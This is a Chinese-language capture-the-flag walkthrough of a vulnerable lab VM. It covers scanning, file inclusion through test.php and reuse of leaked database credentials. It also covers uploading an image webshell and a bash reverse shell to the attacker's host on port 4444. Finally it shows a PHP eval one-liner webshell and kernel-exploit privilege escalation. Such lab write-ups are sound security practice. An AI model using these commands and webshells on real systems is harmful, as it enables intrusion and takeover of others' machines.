完整过程
开启虚拟机用kali扫了半天没扫到,还以为环境有问题…最后发现是网络模式设置的仅主机…改成net以后,nmap -sP 192.168.144.1/24 nmap -p 1-655535 -sV 192.168.144.144 访问80端口 很明显登录框,尝试SQL注入,直接上最高等级,不过还是未果sqlmap -r post.txt --level=5 --risk=3 然后就扫一下目录呗, (字典太大,而且有重复,扫了一个小时,需要优化…) 经过筛选,发现5个可疑的地址: http://192.168.144.144/test.php http://192.168.144.144/add.php http://192.168.144.144/images/ http://192.168.144.144/in.php http://192.168.144.144/c.php 当然是从文件上传的地方(add.php)看起了,但是好像连正常图片都无法上传,可能是个干扰吧 再尝试test.php ,提示file参数,尝试文件包含,还是注意Content-Type: application/x-www-form-urlencoded ,发现可以 尝试读取配置文件file=/etc/apache2/sites-enabled/000-fault ,但是提示“file not found“,在in.php 中可以发现根目录信息: 尝试读取发现成功读取源码: 先看一下刚刚的add.php ,果然是个坑… 最后在c.php 里发现一些有用信息,疑似数据库的账号密码,但是不知道地址
在别人的目录爆破里面发现了新的地址192.168.144.144/phpmy/index.php ,并成功使用"billu","b0x_billu" 登录,新找到一个账号密码,biLLu/hEx_it ,但是好像没地方用?不对,80端口有登录 在Add User 成功上传一张图片马mua.jpg 再利用test.php 处的文件包含看看panel.php ,能不能找到图片马的上传路径,确实存在uploaded_images 但是蚁剑无法连接 重新上传一张命令执行的图片马cmd.jpg 然后通过panel.php 处的文件包含访问cmd.php 并传递参数cmd=ls ,还是要注意Content-Type: application/x-www-form-urlencoded !!!发现命令可以执行,所以下一步直接写反弹shell echo "bash -i > /dev/tcp/192.168.144.128/4444 0>&1" | bash 要注意发送命令前先要url编码,然后kali监听4444端口,发送反弹shell命令,成功反弹shell
获取标准shellpython -c 'import pty;pty.spawn("/bin/bash")' 小插曲–不知道为什么shell突然不能用了,然后重连也不好使,最后重启环境就可以了 再有执行权限的目录下写一句话木马echo '<?php @eval($_POST['mua']);?>'>mua2.php ,并赋予执行权限chmod +x mua2.php : 使用蚁剑成功连接: 查看内核版本cat /etc/issue : 找到对应的提权脚本,通过蚁剑上传至靶机: 将上传上去的.c文件编译并赋予执行权限执行,查看id发现提权成功
多解
别的大佬扫目录的时候扫到了phpmyadmin的配置文件phpmy/config.inc.php ,利用test.php 处的文件包含查看配置信息即可发现靶机的账号密码: 直接ssh登录即可,省去后面上传点、反弹shell、提权等一系列操作…
|